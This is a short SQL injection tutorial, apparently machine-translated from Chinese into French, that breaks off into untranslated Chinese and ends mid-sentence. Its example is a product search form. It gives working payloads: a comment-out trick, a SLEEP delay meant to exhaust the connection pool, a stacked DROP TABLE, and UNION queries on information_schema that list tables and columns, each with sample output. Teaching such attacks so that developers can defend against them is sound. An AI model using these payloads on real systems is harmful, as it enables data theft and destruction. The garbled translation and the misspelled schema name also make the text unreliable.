Principes de base de l'injection SQL
La technologie WEB se développe chaque jour qui passe, mais l'art traditionnel consistant à épeler SQL à mains nues est toujours privilégié par de nombreux développeurs. Après tout, comparé à l’apprentissage d’un ensemble complexe de règles ORM, le faire à la main est plus pratique et intuitif. Habituellement, les gens qui écrivent du SQL eux-mêmes doivent avoir entendu dire que l'injection SQL est dangereuse, mais ils se disent toujours : mon instruction SQL est si simple qu'elle ne peut pas être injectée.
Prenez 5 minutes pour lire cet exemple complet, et vous ne devriez plus jamais oser prendre de risques à partir de maintenant.
Scène simple
Il existe une interface WEB qui permet de saisir les noms de produits et affiche les informations correspondantes sur le prix, la date de production et le lieu de production. Par exemple, saisissez Hammer pour afficher :
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Nous ignorons le processus de création d'une interface de recherche Web et nous concentrons directement sur la partie clé : Injection SQL.
Si vous souhaitez implémenter la fonction ci-dessus, alors nous pouvons à peu près deviner que l'instruction SQL utilisée par le serveur est la suivante :
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
où signifie que nous ne connaissons actuellement pas le spécifique nom de la table et nom du champ, et ce SQL est unique. Ce qui peut être manipulé, c'est le contenu d'entrée entre guillemets simples '%Hammer%'. Si nous saisissons directement un guillemet simple dans le champ de recherche. Autrement dit, cela devient
select ? from ? where ? Like '%'%';
Cet épissage provoquera une erreur de syntaxe SQL et aucun résultat ne sera obtenu. Nous devons utiliser --
pour commenter le dernier guillemet simple.
select ? from ? where ? Like '%'; -- %';
--
est suivi du contenu de l'annotation (vous pouvez également utiliser #
), afin que vous puissiez obtenir toutes les informations sur le produit. Jusqu'à présent, il n'y a toujours aucun signal de danger.
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Paring Knife | 10.98 | China | 2019.11.11 |
Boning Knife | 19.98 | China | 2019.01.01 |
Essayez-le et
Conservez la partie guillemet simple extensible à l'étape précédente. Essayons une simple instruction de délai :
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
À ce stade, la requête prendra 2 secondes pour renvoyer le résultat. Si le délai est prolongé, utilisez le script pour interroger plusieurs fois, et le pool de connexions à la base de données peut être. restauré en une seule fois.
Bien sûr, il y en a des encore plus destructeurs !
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Vous pouvez supprimer la table/base de données directement. Quant à savoir quelles tables se trouvent dans la base de données (c'est-à-dire comment déterminer xxxx dans la phrase SQL précédente) ?
Faites ce que vous voulez avec union
Nous devons savoir quelles tables contient cette base de données ! Ce n'est qu'ainsi que vous pourrez obtenir des informations utiles.
Vous pouvez utiliser union pour rassembler le contenu de différentes tables. Essayez-le :
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!